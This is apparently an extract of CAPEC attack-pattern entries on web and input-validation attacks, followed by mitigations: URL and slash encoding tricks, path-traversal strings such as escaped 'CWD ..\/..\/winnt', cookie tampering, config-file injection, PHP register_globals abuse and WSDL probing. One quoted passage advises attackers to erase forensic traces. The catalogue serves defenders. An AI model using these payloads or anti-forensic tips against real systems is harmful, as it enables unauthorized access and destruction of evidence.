http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html Low - An attacker can try special characters in the URL and bypass the URL validation. Medium - The attacker may write a script to defeat the input filtering mechanism. An attacker can manually inject special characters in the URL string request and observe the results of the request. Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt Automated tools such as fuzzer can be used to test the URL decoding and filtering. If the first decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious. Traffic filtering with IDS (or proxy) can detect requests with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks. Sometime the percent escaping can be used to obfuscate the attack itself. Alternative method of data encoding can be used. Obfuscation technique such as IP address encoding can also be used (See reference section : "URL encoded attacks", by Gunter Ollmann). Refer to the RFCs to safelly decode URL. Regular expression can be used to match safe URL patterns. However, that may discard valid URL requests if the regular expression is too restrictive. There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx). Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Test your decoding process against malicious input. Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address encoding. (See related guideline section) When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible. Information Leakage Denial of Service Run Arbitrary Code Information Leakage Privilege Escalation Most web programming languages have built in API to perform URL Encoding and URL Decoding. For instance PHP uses "urlencode(string)" and "urldecode(string)". Java uses "java.net.URLEncode.encode(String)". 173 Targeted 177 Targeted 171 Targeted 172 Targeted 73 Targeted 21 Targeted 74 Targeted 20 Targeted 64 More Abstract 79 Similar 71 Similar 43 Similar Using Alternate Encodings to Bypass Validation Logic More Detailed Reluctance to Trust Penetration Exploitation High High Medium Client-Server SOA All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation URL encoded attacks, by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html Uniform Resource Identifier (URI): Generic Syntax, RFC 3886 - http://www.ietf.org/rfc/rfc3986.txt URL Uniform Resource Locators (URL) RFC - http://rfc.net/rfc1738.html URL encoding reference - http://www.w3schools.com/tags/ref_urlencode.asp The URLEncode and URLDecode Page - http://www.albionresearch.com/misc/urlencode.php David Wheeler - Validating URIs - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/filter-html.html#VALIDATING-URIS G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attack of this type involves an attacker inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

The victim must trust the name and locale of user controlled filenames. High High Modification of Resources Phishing attacks rely on a user clicking on links on that are supplied to them by attackers masquerading as a trusted resource such as a bank or online auction site. The end user's email client hosts the supplid resource name in this case via email. The resource name, however may either 1) direct the client browser to a malicious site to steal credentical and/or 2) execute code on the client machine to probe the victim's host system and network environment. Low: To achieve a redirection and use of less trusted source, an attacker can simply edit data that the host uses to build the filename Medium: Deploying a malicious "look a like" site (such as a site masquerading as a bank or online auction site) that the user enters their authentication data into. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Design: Use browser technologies that do not allow client side scripting. Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Implementation: Scan dynamically generated content against validation specification Privilege Escalation Run Arbitrary Code Denial of Service Information Leakage "Attack Pattern: User-Controlled Filename An unfiltered, user-controlled filename can be used to construct client HTML. Perhaps HTML text is being built from filenames. This can be the case if a Web server is exposing a directory on the file system, for example. If the server does not filter certain characters, the filename itself can include an XSS attack." [Hoglund and McGraw 04] Payload delivered through user controlled filename. Command(s) executed directly on host Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 20 Targeted 184 Secondary 96 Targeted 348 Targeted 116 Targeted 350 Targeted 86 Secondary 697 Targeted 63 More Detailed Penetration Exploitation High High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

An attacker modifies state information maintained by the target software in user-accessible locations. If successful, the target software will use this tainted state information and execute in an unintended manner. State management is an important function within an application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an attacker to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.

Attacker determines the nature of state management employed by the application. This includes determining the location (client-side, server-side or both) and possibly the items stored as part of user state The attacker now tries to modify the user state contents (possibly blindly if the contents are encrypted or otherwise obfuscated) and observe the effects of this change on the application. Having determined the information stored in the user state and the possible ways to modify it, the attacker can violate it in order to perform illegitimate actions. High Medium Analysis Modification of Resources Upon authenticating a user, an application stores the authentication decision (auth=0/1) in a cookies unencrypted. At every request, this cookie is checked to permit or deny a request. An attacker can easily violate this reprepsentation of user state and set auth=1 at every request in order to gain illegitimate access and elevated privilege in the appplication. Medium: The attacker needs to have knowledge of state management as employed by the target application, and also the ability to manipulate the state in a meaningful way. No special resources are required. An attacker can choose to use a data tampering tool to aid in the attack. Analysis: The attacker observes contents of client-side user state variables, stored in coookies or hidden fields or query strings, and modifies them in order to observe their effect on the application. Do not rely solely on user-controllable locations, such as cookies or URL parameters, to maintain user state Do not store sensitive information, such as usernames or authentication and authorization information, in user-controllable locations. At all times sensitive information that is part of the user state must be appropriately protected to ensure confidentiality and integrity at each request Privilege Escalation Data Modification User state is persisted in a variety of ways between requests, some of them platform dependent. These include cookies, hidden fields, session objects, cache objects, query strings and the likes. Content that goes into user state persistence is, however, entirely application dependent. It is, therefore, a design decision to include a particular piece of information to persist as part of user state. Application designers often include sensitive information such as usernames or card numbers as part of user state that gets exposed to the user. Authentication decisions and authorized role membership are often found in cookies or query strings. Any such information that can be altered to make the application behave differently is open to tampering by a malicious user. Violation of user state information can cause the application to grant incorrect, often elevated, privileges or leak sensitive information about other users or behave unpredictably so as to benefit an attacker. This problem is exacerbated by the lack of strong cryptographic protection around such sensitive information. User-controllable user state variables Modified or injected user state variables State management mechanism of the application Altered user state leading to information leak or elevated privilege 372 Secondary 371 Targeted 315 Targeted 353 Targeted 693 Targeted CVE-2005-4448 FlatNuke 2.5.6 verifies authentication credentials based on an MD5 checksum of the admin name and the hashed password rather than the plaintext password, which allows attackers to gain privileges by obtaining the password hash (possibly via CVE-2005-2813), then calculating the credentials and including them in the secid cookie. Protect user state that is stored client-side with integrity checks to ensure that a malicious user cannot gain unauthroized access to parts of the application Authenticate every request to ensure that it is coming from a legitimate user and that the request is a valid one in the current context. Reluctance To Trust Never Assuming That Your Secrets Are Safe Treat the Entire Inherited Process Context as Unvalidated Input Use Well-Known Cryptography Appropriately and Correctly Exploitation High High Medium Client-Server SOA All All All Chiradeep B Chhaya Cigital, Inc 2007-03-08 Taken over from Eric Dalci Sean Barnum Cigital, Inc 2007-03-08 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback

Generally these are manually edited files that are not in the perview of the system administrators, any ability on the attacker's behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

Configuration files must be modifiable by the attacker Very High High Modification of Resources The BEA Weblogic server uses a config.xml file to store configuration data. If this file is not properly protected by the system access control, an attacker can write configuration information to redirect server output through system logs, database connections, malicious URLs and so on. Access to the Weblogic server may be from a so-called Custom realm which manages authentication and authorization privileges on behalf of user principals. Given write access, the attacker can insert a pointer to a custom realm jar file in the config.xml < CustomRealm ConfigurationData="java.util.Properties" Name="CustomRealm" RealmClassName="Maliciousrealm.jar" /> The main issue with configuration files is that the attacker can leverage all the same functionality the server has, but for malicious means. Given the complexity of server configuration, these changes may be very hard for administrators to detect. Medium: to identify vulnerable configuration files, and understand how to manipulate servers and erase forensic evidence Design: Enforce principle of least privilege Design: Backup copies of all configuration files Implementation: Integrity monitoring for configuration files Implementation: Enforce audit logging on code and configuration promotion procedures. Implementation: Load configuration from separate process and memory space, for example a separate physical device like a CD Privilege Escalation "Attack Pattern: Use a User-Supplied Configuration File to Run Commands That Elevate Privilege A setuid utility program accepts command-line arguments. One of these arguments allows a user to supply the path to a configuration file. The configuration file allows shell commands to be inserted. Thus, when the utility starts up, it runs the given commands. One example found in the wild is the UUCP (or UNIX-to-UNIX copy program) set of utilities. The utility program may not have root access, but that may belong to a group or user context that is more privileged than that of the attacker. In the case of UUCP, the elevation may lead to the dialer group, or the UUCP user account. Escalating privilege in steps will usually lead an attacker to a root compromise (the ultimate goal). Some programs will not allow a user-supplied configuration file, but the systemwide configuration file may have weak permissions. The number of vulnerabilities that exist because of poorly configured permissions is large. A note of caution: As an attacker, you must consider the configuration file as an obvious detection point. A security process may monitor the target file. If you make changes to a configuration file to gain privilege, then you should immediately clean the file when you are finished. You can also run certain utilities to set back the file access dates. The key is not to leave a forensic trail surrounding the file you exploited." [Hoglund and McGraw 04] Configuration files Commands or configuration settings Configuration file processing routines Enables attacker to execute server side code with any commands that the program owner has privileges to. 349 Targeted 99 Targeted 77 Targeted 346 Targeted 353 Secondary 354 Secondary 713 Targeted Exploitation High High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

The attacker communicates with the application server using a thin client (browser) or thick client. While communicating with the server, the attacker finds that she can control and override a variable consumed by the application server. The attacker overrides the variable and influences the normal behavior of the application server. A variable consumed by the application server is exposed to the client. A variable consumed by the application server can be overwritten by the user. The application server trusts user supplied data to compute business logic. The application server does not perform proper input validation. Very High Very High Injection Attack Example: PHP Global Variables PHP is a study in bad security. The main idea pervading PHP is "ease of use," and the mantra "don't make the developer go to any extra work to get stuff done" applies in all cases. This is accomplished in PHP by removing formalism from the language, allowing declaration of variables on first use, initializing everything with preset values, and taking every meaningful variable from a transaction and making it available. In cases of collision with something more technical, the simple almost always dominates in PHP. One consequence of all this is that PHP allows users of a Web application to override environment variables with user-supplied, untrusted query variables. Thus, critical values such as the CWD and the search path can be overwritten and directly controlled by a remote anonymous user. Another similar consequence is that variables can be directly controlled and assigned from the user-controlled values supplied in GET and POST request fields. So seemingly normal code like this, does bizarre things: while($count < 10){ // Do something $count++; } Normally, this loop will execute its body ten times. The first iteration will be an undefined zero, and further trips though the loop will result in an increment of the variable $count. The problem is that the coder does not initialize the variable to zero before entering the loop. This is fine because PHP initializes the variable on declaration. The result is code that seems to function, regardless of badness. The problem is that a user of the Web application can supply a request such as GET /login.php?count=9 and cause $count to start out at the value 9, resulting in only one trip through the loop. Yerg. Depending on the configuration, PHP may accept user-supplied variables in place of environment variables. PHP initializes global variables for all process environment variables, such as $PATH and $HOSTNAME. These variables are of critical importance because they may be used in file or network operations. If an attacker can supply a new $PATH variable (such as PATH='/var'), the program may be exploitable. PHP may also take field tags supplied in GET/POST requests and transform them into global variables. This is the case with the $count variable we explored in our previous example. Consider another example of this problem in which a program defines a variable called $tempfile. An attacker can supply a new temp file such as $tempfile = "/etc/passwd". Then the temp file may get erased later via a call to unlink($tempfile);. Now the passwd file has been erased—a bad thing indeed on most OSs. Also consider that the use of include() and require() first search $PATH, and that using calls to the shell may execute crucial programs such as ls. In this way, ls may be "Trojaned" (the attacker can modify $PATH to cause a Trojan copy of ls to be loaded). This type of attack could also apply to loadable libraries if $LD_LIBRARY_PATH is modified. Finally, some versions of PHP may pass user data to syslog as a format string, thus exposing the application to a format string buffer overflow. File upload allows arbitrary file read by setting hidden form variables to match internal variable names (CVE-2000-0860) Low: the malicious user can easily try some well known global variables and find one which matches. Medium - the attacker can use automated tools to probe for variables that she can control. The attacker can try to change the value of the variables that are exposed on the webpage's source code and send them back to the application server. Depending on what program is running on the application server, the attacker may know which variables should be targeted. The malicious user may try to guess a global variable just by blackbox testing at the request level. For instance it is possible to create a variable and assign it a value, then pass it along to the request made to the server. Web penetration tool can be used to automate the discovery of client controlled global variables. A web penetration tool probing a web server may generate abnormal activities recorded on log files. Abnormal traffic such as a high number of request coming from the same client may also rise the warnings from a monitoring system or an intrusion detection tool. Do not allow override of global variables and do Not Trust Global Variables. If the register_globals option is enabled, PHP will create global variables for each GET, POST, and cookie variable included in the HTTP request. This means that a malicious user may be able to set variables unexpectedly. For instance make sure that the server setting for PHP does not expose global variables. A software system should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Separate the presentation layer and the business logic layer. Variables at the business logic layer should not be exposed at the presentation layer. This is to prevent computation of business logic from user controlled input data. Use encapsulation when declaring your variables. This is to lower the exposure of your variables. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should be rejected by the program. Data Modification Run Arbitrary Code Information Leakage Privilege Escalation Technique: Leveraging Extraneous Variables In many cases, software may come preset with various parameters set by default. In many cases, the default values are set with no regard for security. An attacker can leverage these broken defaults during an attack. In the interest of convenience (laziness?), some programmers may integrate "secret variables" into their applications. A secret variable works like a code word. If this secret code word is used, the application opens the vault. An example is a Web application that distinguishes between normal users and administrators by checking for a hidden form variable with a particular value such as ADMIN=YES. This may sound crazy, but many internally developed Web-based applications used by the world's largest banks operate this way. This is one of the tricks that software auditing teams look for. Sometimes these types of problems are not intentional on the part of programmers, but rather come "by design" in a platform or language. This is the case with PHP global variables. The user controlled variable. The new value of the user controlled variable. The command or request interpreter on the server side is responsible for interpreting the global variables. Sometime the global variables are controlled by a setting. For instance in PHP, the boolean setting "register_globals" defines whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of PHP 4.2.0, this settings defaults to off. This directive was removed in PHP 6.0.0. Changing the value of a server side variable may have many outcomes. In the case of a DEBUG related variable, there will be an information leak problem. Some other impacts can be privilege escalation, data modification, etc. It really depends on what the variable controls. If a global variable is used for authentication, there may be a vulnerability of privilege escalation. Another common variation of this last problem is to implement a "Remember My Login" feature by storing a user identifier in a cookie, allowing users to change their cookie value to login as whomever they want. 473 Targeted 15 Targeted 285 Secondary 302 Targeted 94 Secondary 96 Secondary 13 More Abstract 10 More Abstract 22 More Detailed Global variables used on the server side should not be trusted. Overide of Global variables should not be allowed. Exploitation High High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Securing PHP: Step-by-Step, Artur Maj 2003-06-23, http://www.securityfocus.com/infocus/1706 Ten Security Checks for PHP, Part 1 - by Clancy Malcolm, 03/20/2003 "Chapter 29. Using Register Globals", from the Official PHP documentation: http://www.php.net/manual/en/security.globals.php G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback

This attack targets the use of the backslash in alternate encoding. An attacker can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the attacker tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

The attacker can send input data to the host target (e.g., via http request or command line request The attacker craft malicious input data which includes escaped slashes. The attacker may need multiple attempts before finding a successful combination. The application accepts the backlash character as escape character. The application server does incomplete input data decoding, filtering and validation. High High Injection Protocol Manipulation API Abuse For example, the byte pair \0 might result in a single zero byte (a NULL) being sent. Another example is \t, which is sometimes converted into a tab character. There is often an equivalent encoding between the back slash and the escaped back slash. This means that \/ results in a single forward slash. A single forward slash also results in a single forward slash. The encoding looks like this: / yields / \/ yields / Attack Example: Escaped Slashes in Alternate Encodings An attack leveraging this pattern is very simple. If you believe the target may be filtering the slash, attempt to supply \/ and see what happens. Example command strings to try out include CWD ..\/..\/..\/..\/winnt which converts in many cases to CWD ../../../../winnt To probe for this kind of problem, a small C program that uses string output routines can be very useful. File system calls make excellent testing fodder. The simple snippet int main(int argc, char* argv[]) { puts("\/ \\ \? \. \| "); return 0; } produces the output / \ ? . | Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities: CWD ..\?\?\?\?\/..\/..\/..\/winnt CWD \.\.\/\.\.\/\.\.\/\.\.\/winnt CWD ..\|\|\|\|\/..\/..\/..\/winnt Low - The attacker can naively try backslash character and discover that the target host uses it as escape character. Medium - The attacker may need deep understanding of the host target in order to exploit the vulnerability. The attacker may also use automated tools to probe for this vulnerability. An attacker can manually inject backslash characters in the data sent to the target host and observe the results of the request. The attacker may also run scripts or automated tools against the target host to uncover a vulnerability related to the use of the backslash character. A attacker can use a fuzzer in order to probe for this vulnerability. The fuzzer should generate suspicious network activity noticeable by an intrusion detection system. Alternative method of data encoding can be used. Verify that the user-supplied data does not use backslash character to escape malicious characters. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Be aware of the threat of alternative method of data encoding. Regular expressions can be used to filter out backslash. Make sure you decode before filtering and validating the untrusted input data. In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access. Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names. Information Leakage Denial of Service Run Arbitrary Code Information Leakage Privilege Escalation The user supplied data (e.g., HTTP request) The backslash character injected in the user supplied data. The backslash character can be obfuscated with alternate encoding. The command or request interpreter used on the host target may consider the backslash character as escape character. The character following the backslash character will be escaped (i.e, unfiltered) and may cause harmful effects. 180 Targeted 181 Targeted 173 Targeted 171 Targeted 172 Targeted 73 Targeted 21 Targeted 74 Targeted 20 Targeted 697 Targeted 707 Targeted 64 Similar 79 More Detailed 71 Similar 43 Similar Relative Path Traversal More Detailed Using Alternate Encodings to Bypass Validation Logic More Detailed All client-supplied input must be validated through filtering and all output must be properly escaped. Reluctance to Trust Never trust user-supplied input. Penetration Exploitation High High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback

This attack targets the encoding of the Slash characters. An attacker would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the attacker many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.

The attacker has access to a resource path and required to use slashes as resource delimiter. The attacker tries variation and combination of the slashes characters in different encoding format. The attacker found an unfiltered combination which maps to a valid path and accesses unauthorized resources (directories, files, etc.) The application server accepts paths to locate resources. The application server does insufficient input data validation on the resource path requested by the user. The access right to resources are not set properly. High High Injection Protocol Manipulation API Abuse Attack Example: Slashes in Alternate Encodings The two following requests are equivalent on most Web servers: http://target server/some_directory\..\..\..\winnt is equivalent to http://target server/some_directory/../../../winnt Multiple encoding conversion problems can also be leveraged as various slashes are instantiated in URL-encoded, UTF-8, or unicode. Consider the strings http://target server/some_directory\..%5C..%5C..\winnt where %5C is equivalent to the \ character. Low: An attacker can try variation of the slashes characters. Medium: An attacker can use more sophisticated tool or script to scan a website and find a path filtering problem. An attacker can try different encoding formats for the slashes characters and see if they produce the same filtering results. Automated tools such as fuzzer can be used to test the URL decoding and filtering. Custom scripts can also be used. For example, a good script for verifying the correct interpretation of UTF-8 encoded characters can be found at http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt If the first path decoding process has left some invalid or blacklisted characters, that may be a sign that the request is malicious. Traffic filtering with IDS (or proxy) can detect request with suspicious URLs. IDS may use signature based identification to reveal such URL based attacks. A attacker can use a fuzzer in order to probe for a UTF-8 encoding vulnerability. The fuzzer should generate suspiscious network activity. Typically the obfuscation here is the use of different alternate encoding format (UTF-8, Unicode, etc,) Any security checks should occur after the data has been decoded and validated as correct data format. Do not repeat decoding process, if bad character are left after decoding process, treat the data as suspicious, and fail the validation process. Refer to the RFCs to safelly decode URL. When client input is required from web-based forms, avoid using the "GET" method to submit data, as the method causes the form data to be appended to the URL and is easily manipulated. Instead, use the "POST method whenever possible. There are tools to scan HTTP requests to the server for valid URL such as URLScan from Microsoft (http://www.microsoft.com/technet/security/tools/urlscan.mspx) Be aware of the threat of alternative method of data encoding and obfuscation technique such as IP address endoding. (See related guideline section) Test your path decoding process against malicious input. In the case of path traversals, use the principle of least privilege when determining access rights to file systems. Do not allow users to access directories/files that they should not access. Assume all input is malicious. Create a white list that defines all valid input to the application based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Information Leakage Run Arbitrary Code Privilege Escalation The injection vector is a string path such as URL path. The injection vector is a string path with malicious slashes characters. Alternate encoding format can also be used to code the slashes characters. The impact of the payload is access to unauthorized resources. 173 Targeted 171 Targeted 180 Targeted 181 Targeted 20 Targeted 74 Targeted 73 Targeted 21 Targeted 185 Secondary 200 Secondary 697 Targeted 707 Targeted 64 More Abstract 78 More Abstract 71 Similar 43 Similar Relative Path Traversal More Detailed Using Alternate Encodings to Bypass Validation Logic More Detailed Least privilege Reluctance to trust Penetration Exploitation High High Medium All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. UTF-8 and Unicode FAQ for Unix/Linux, by Markus Kuhn - http://www.cl.cam.ac.uk/~mgk25/unicode.html URL encoded attacks, by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-16 Modified pattern content according to review and feedback

This attack utlizes a Rest(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with a XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.

Opportuntity to intercept must exist beyond the poing where SSL is terminated. The attacker must be able to insert a listener actively (proxying the communication) or passively (sniffing the communication) in the client-server communication path. Very High Medium Protocol Manipulation Injection The Rest service provider uses SSL to protect the communications between the service requester (client) to the service provider. In the instance where SSL is terminated before the communications reach the web server, it is very common in enterprise data centers to terminate SSL at a router, firewall, load balancer, proxy or other device, then the attacker can insert a sniffer into the communication stream and gather all the authentication tokens (such as session credentials, username/passwords combinations, and so on). The Rest service requester and service provider do not have any way to detect this attack. Low: to insert a network sniffer or other listener into the communication stream Attacker may use a network sniffer to identify authentication credentials once SSL is terminated. Implementation: Implement message level security such as HMAC in the HTTP communication Design: Utilize defense in depth, do not rely on a single security mechanism like SSL Design: Enforce principle of least privilege Privilege Escalation HTTP protocol communications Command(s) executed directly on host Client machine and client network Enables attacker to execute server side code with any commands that the program owner has privileges to. 300 Targeted 287 Targeted 724 Targeted 693 Targeted Penetration Exploitation High High High SOA All All All Gunnar Peterson 2007-02-28 Sean Barnum Cigital, Inc 2007-03-07 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description and Attack Prerequisites Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack targets the WSDL interface made available by a web service. The attacker may scan the WSDL interface to reveal sensitive information about invocation patterns, underlying technology implementations and associated vulnerabilities. This type of probing is carried out to perform more serious attacks (e.g. parameter tampering, malicious content injection, command injection, etc.). WSDL files provide detailed information about the services ports and bindings available to consumers. For instance, the attacker can submit special characters or malicious content to the Web service and can cause a denial of service condition or illegal access to database records. In addition, the attacker may try to guess other private methods by using the information provided in the WSDL files.

The first step is exploratory meaning the attacker scans for WSDL documents. The WDSL document written in XML is like a handbook on how to communicate with the web services provided by the target host. It provides an open view of the application (function details, purpose, functional break down, entry points, message types, etc.). This is very useful information for the attacker. The second step that a attacker would undertake is to analyse the WSDL files and try to find potential weaknesses by sending messages matching the pattern described in the WSDL file. The attacker could run through all of the operations with different message request patterns until a breach is identified. Once an attacker finds a potential weakness, they can craft malicious content to be sent to the system. For instance the attacker may try to submit special characters and observe how the system reacts to an invalid request. The message sent by the attacker may not be XML validated and cause unexpected behavior. A client program connecting to a web service can read the WSDL to determine what functions are available on the server. The target host exposes vulnerable functions within its WSDL interface. High High Analysis API Abuse A WSDL interface may expose a function vulnerable to SQL Injection. The Web Services Description Language (WSDL) allows a web service to advertise its capabilities by describing operations and parameters needed to access the service. As discussed in step 5 of this series, WSDL is often generated automatically, using utilities such as Java2WSDL, which takes a class or interface and builds a WSDL file in which interface methods are exposed as web services. Because WSDL generation often is automated, enterprising hackers can use WSDL to gain insight into the both public and private services. For example, an organization converting legacy application functionality to a web services framework may inadvertently pass interfaces not intended for public consumption to a WSDL generation tool. The result will be SOAP interfaces that give access to private methods. Another, more subtle WSDL attack occurs when an enterprising attacker uses naming conventions to guess the names of unpublished methods that may be available on the server. For example, a service that offers a stock quote and trading service may publish query methods such as requestStockQuote in its WSDL. However, similar unpublished methods may be available on the server but not listed in the WSDL, such as executeStockQuote. A persistent hacker with time and a library of words and phrases can cycle thru common naming conventions (get, set, update, modify, and so on) to discover unpublished application programming interfaces that open doors into private data and functionality. Source : "Seven Steps to XML Mastery, Step 7: Ensure XML Security", Frank Coyle. See reference section. Low: This attack can be as simple as reading WSDL and starting sending invalid request. Medium: This attack can be used to perform more sophisticated attacks (SQL injection, etc.) An attacker can request the WSDL file from the target host by sending a SOAP message. There are free Vulnerability testing tool, such as WSDigger to perform WSDL scanning - Foundstone's free Web services security tool performs WSDL scanning, SQL injection and XSS attacks on Web Services. It is important to protect WSDL file or provide limited access to it. Review the functions exposed by the WSDL interface (specially if you have used a tool to generate it). Make sure that none of them is vulnerable to injection. Ensure the WSDL does not expose functions and APIs that were not intended to be exposed. Pay attention to the function naming convention (within the WSDL interface). Easy to guess function name may be an entry point for attack. Validate the received messages against the WSDL Schema. Incomplete solution. Information Leakage 538 Targeted Defense in Depth Never Assuming that Your Secrets Are Safe Securing the Weakest Link Reconnaissance Medium Medium High SOA All All All CWE - Input Validation "Anatomy of a Web Services Attack", ForumSystems - http://forumsystems.com/papers/Anatomy_of_Attack_wp.pdf "Seven Steps to XML Mastery, Step 7: Ensure 